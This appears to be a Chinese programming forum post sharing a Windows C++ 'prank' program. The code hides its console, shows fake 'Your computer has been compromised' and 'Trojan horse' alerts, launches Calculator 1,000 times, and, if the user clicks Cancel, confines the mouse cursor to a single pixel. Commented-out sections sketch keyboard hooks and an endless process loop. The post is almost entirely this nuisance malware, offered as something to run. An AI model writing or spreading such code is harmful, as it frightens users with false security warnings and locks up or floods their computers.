0
已解决
包涵宇
中级天翼
中级天翼
今天分享一下我的神经质代码
#include<iostream>
#include<windows.h>
#include<bits/stdc++.h>
#include<time.h>
#include<conio.h>
using namespace std;
RECT rect={};
HHOOK hHook;
void HideWindow(){
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
return;
}
int main(){
HideWindow();
if(MessageBox(NULL,"Your computer has been compromised.","Windows(system)", MB_ICONEXCLAMATION|MB_OKCANCEL)==1){
/*cout<<" @@@ @@@"<<"\n";
cout<<" @ @@@@@@@@@@@@@@@@@@@@@@@@@ @"<<"\n";
cout<<" @ ha You've ha @"<<"\n";
cout<<" @ ha been hacked. ha @"<<"\n";
cout<<" @ ha !!!!!! ha @"<<"\n";
cout<<" @ @@@@@@@@@@@@@@@@@@@@@@@@@ @"<<"\n";
cout<<" @@@ @@@"<<"\n";*/
MessageBox(NULL,"there is an Error.\nFrom:Trojan horse","Windows",MB_ICONHAND);
MessageBox(NULL,"Problem solved.\nYou are lucky!","TROJAN HOURSE",MB_OK);
MessageBox(NULL,"No!!!\nI'm been hacked!","Windows",MB_ICONHAND);
MessageBox(NULL,"Don't move!","Honker Union",MB_ICONEXCLAMATION);
/*while(true){
system("calc");
system("notepad");
}*/
int i=1000;
while(i--){
system("calc");
}
/*
HHOOK m_hHOOK1 = NULL, m_hHOOK2 = NULL;
m_hHOOK1 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle("HOOK"), 0);
m_hHOOK2 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle("HOOK"), 0);
while (true)
{
UnhookWindowsHookEx(m_hHOOK1);
m_hHOOK1 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle("HOOK"), 0);
UnhookWindowsHookEx(m_hHOOK2);
m_hHOOK2 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle("HOOK"), 0);
} */
/*WNDCLASS wc;
wc.cbClsExtra=0;
wc.cbWndExtra=0;
wc.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);*/
}
else{
MessageBox(NULL,"OH,ON!MY MOUSE!!!","Windows",MB_OK);
rect.bottom=1;
rect.right=1;
ClipCursor(&rect);
//FileStream fs = new FileStream(Environment.ExpandEnvironmentVariables( "%windir%\\system32\\taskmgr.exe"), FileMode.Open);
}
return 0;
}
PS:仅供观赏
0
1
0
0
0
0
0
0
0
0
0
0
0